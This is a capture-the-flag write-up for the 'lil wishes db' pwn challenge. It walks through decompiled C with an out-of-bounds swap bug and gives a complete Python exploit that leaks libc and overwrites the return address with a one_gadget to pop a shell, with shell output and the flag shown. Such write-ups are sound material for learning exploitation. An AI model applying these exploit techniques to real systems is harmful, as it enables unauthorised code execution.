Tags: one_gadget pwnscripts oob
Rating:
# lil wishes db [359]
SOLVED
I don't want a lot for Christmas!
RCE is all I need
I don't care about protections
Underneath the RSP
**Target**: nc challs.xmas.htsp.ro 2002
**Author**: Th3R4nd0m
**Files**: lil_wishes_db.zip
##### The library used in the solution code is [`pwnscripts`](https://github.com/152334H/pwnscripts)
## Inspection
```sh
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH No Symbols No 0 2 chall
```
The only thing good here is that FORTIFY is off.
The binary provides a 4 option CLI menu:
```
Choose:
1.Swap IDs
2.Print database
3.Insert ID
4.Exit
```
The loop for the menu is vaguely:
```c
int print_db(__int64 *db) {
for (int i = 0; i <= 7; ++i)
printf("ID[%d] = %llu\n", i, db[i]);
}
int swapIDs(unsigned __int16 id1, unsigned __int16 id2, __int64 *s) {
__int64 tmp = s[id1];
s[id1] = s[id2];
s[id2] = tmp;
}
int main() {
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
__int64 db[9]; // [rsp+20h] [rbp-50h] this is the "database"
memset(db, 0, 0x40uLL);
int keep_running = 1;
puts("Wishes database\n");
while (keep_running) {
puts("Choose:\n1.Swap IDs\n2.Print database\n3.Insert ID\n4.Exit\n\nOption: ");
int opt, ind1, ind2;
scanf("%d", &opt;;
puts(&nul;;
switch (opt) {
case 2:
print_db(db);
break;
case 3:
unsigned index;
puts("Index: ");
scanf("%d", &index);
if ( index <= 7 ) { // unsigned --> unbugged
puts("Value: ");
scanf("%llu", &db[index]);
} else puts("Index should not be > 8");
break;
case 4:
keep_running = 0;
break;
case 1:
puts("Index 1:");
scanf("%d", &ind1);
puts("Index 2:");
scanf("%d", &ind2);
if ( ind1 <= 7 && ind2 <= 7 ) // lack of ind >= 0 check!
swapIDs((unsigned __int16)ind1, (unsigned __int16)ind2, db); //unsigned index overflow!
break;
default:
puts("Please choose one of the above");
}
puts(&nul;;
}
puts("Merry Christmas!");
return 0LL;
}
```
Option 1 is **bugged** with the ability to swap with any index within the range of a `uint16_t`. The exploit framework for this is rather simple:
0. use the swap bug to get a libc address in `db[0:8]`, then leak it with option 2.
1. Write a rop chain to `db[0:8]` with option 3.
2. Use the swap bug to shift it over to the return pointer & thereafter
3. exit & let ROP work out.
## Exploiting
We'll start by mapping out all of the options as python functions:
```python
from pwnscripts import *
context.binary = 'chall'
context.libc_database = 'libc-database'
context.libc = 'libc.so.6'
r = remote('challs.xmas.htsp.ro', 2002)
def opt(v): r.sendlineafter('Option: \n', str(v))
def swap(id1, id2):
opt(1)
r.sendlineafter('Index 1:\n', str(id1))
r.sendlineafter('Index 2:\n', str(id2))
def printIDs():
opt(2)
r.recvline()
return [int(r.recvline().strip().split(b'= ')[-1]) for i in range(8)]
def insert(ID, v):
opt(3)
r.sendlineafter('Index: \n', str(ID))
r.sendlineafter('Value: \n', str(v))
def rexit(): opt(4)
```
To leak libc, we'll grab the value of `__libc_start_main_ret` (libc-db symbol) from the return pointer of the function frame:
```python
def negID(v): return u32(p16(v)+b'\x00\xf0', sign=True) # cheap way to exploit swap()
rtr_ind = 0x58//8 # db[] is at rbp-0x50.
swap(0,negID(rtr_ind))
context.libc.calc_base('__libc_start_main_ret', printIDs()[0])
```
Then, we'll just return to a `one_gadget`, which is particularly easy in this case (the requirement, `[rsp-0x40]==NULL`, is pre-fulfilled):
```python
insert(0,context.libc.select_gadget(1))
swap(0, negID(rtr_ind))
rexit()
r.interactive()
```
I tried making a ROP chain for `system(libc_binsh_str)` as a more sensible method of exploiting the binary, but kept getting errors (`SIGSEGV` with `rax == 0x10000001`) during execution. Not entirely sure why.
In any case, the `one_gadget` worked fine:
```python
Merry Christmas!
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x5e bytes:
b'bin\n'
b'boot\n'
b'dev\n'
b'etc\n'
b'home\n'
...
```
## Flag
`X-MAS{oh_nooo_y0u_ru1ned_the_xmas}`